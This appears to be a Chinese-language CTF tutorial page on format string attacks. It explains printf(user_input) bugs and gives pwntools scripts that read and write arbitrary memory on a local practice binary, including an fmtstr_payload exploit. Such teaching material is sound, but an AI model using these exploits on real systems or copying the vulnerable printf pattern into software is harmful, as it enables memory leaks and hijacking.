zoukankan      html  css  js  c++  java
  • Pwn_10 Format String Attack

    printf(“%s %d %x”,str,n,addr)

    格式化字符串漏洞

    • 错误的使用方式,直接将使用者的输入作为fmt使用
    • printf(str)

    使用%x会造成栈上的信息泄露

    可以使用 $ 来控制leak的位置

    Use fmt:

    1. Read from arbitrary memory
    2. Write to arbitrary memory

    读的话,我们可以读cancary 可以读实际地址 计算libc的基地址 不用再构造rop了

     


    Read from arbitrary memory

    首先确定 我的输入会在第几个出现?

    输入aaaa %x…一大堆%x 然后数它

    有了之后构造脚本

    from pwn import *

    r = remote('127.0.0.1',4000)

    password_addr = 0x0804A048

    r.recvuntil('?') #until ? I input

    r.sendline(p32(password_addr)+'#'+'%10$s'+'#')

    r.recvuntil('#')

    print u32(r.recvuntil('#')[:4]) #u32解包只能4位4位的取

    r.interactive()

    这个就是我想要的地址的值,那么 如何提取它?↑看上面

    最终脚本 实现任意地址的读

    from pwn import *

    r = remote('127.0.0.1',4000)

    password_addr = 0x0804A048

    r.recvuntil('?') #until ? I input

    r.sendline(p32(password_addr)+'#'+'%10$s'+'#')

    r.recvuntil('#')

    pwd = u32(r.recvuntil('#')[:4])
    r.recvuntil(':')
    r.sendline(str(pwd))
    r.interactive()


    Write to arbitrary memory

    Example

    我要给x写入abcd,先写cd 再写 ab,写入时要注意前面的大小

    • 首先放入x变量地址
    • p(x_addr)+p32(x_addr+1)    一个地址是放 4 byte,第一个参数之前有两个地址
    • 写入0xcd = 205-8 =197 => %197c%1$hhn
    • 写入0xab = 171 – 205 +256 = 222 => %171c%2$hhn 

    pwntools

    Write a single address  @%7$

    fmtstr_payload(7,{addr:value})

    Write multiple address

    fmtstr_payload(7,{addr1:value1,addr2:value2,…})

    fmt的伪代码

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int result; // eax@3
      int v4; // edx@3
      char s; // [sp+Ch] [bp-40Ch]@1
      int v6; // [sp+40Ch] [bp-Ch]@1

      v6 = *MK_FP(__GS__, 20);
      setvbuf(stdin, 0, 2, 0);
      setvbuf(stdout, 0, 2, 0);
      fgets(&s, 1024, stdin);
      printf(&s); //这个地方有问题
      if ( x == 339117970 )
        puts("You get it!");
      result = 0;
      v4 = *MK_FP(__GS__, 20) ^ v6;
      return result;
    }

     或者

     nm ./fmt

    要知道x的地址 才能写入

    from pwn import *

    r = remote('127.0.0.1',4000)

    x_addr = 0x0804A02C

    r.sendline(fmtstr_payload(7,{x_addr:339117970}))

    r.interactive()

  • 相关阅读:
    雨天的尾巴「线段树合并+树上差分」
    硬币购物「容斥+背包」
    消失之物「分治+背包」
    最小距离「多源最短路」
    任务分配「最短路+DP」
    LCA「树链剖分+线段树」
    组合计数基础
    SPOJ-QTREE4 Query on a tree IV
    K-D tree 区域查询复杂度证明
    bitset 求解高维偏序
  • 原文地址:https://www.cnblogs.com/rookieDanny/p/8530950.html
Copyright © 2011-2022 走看看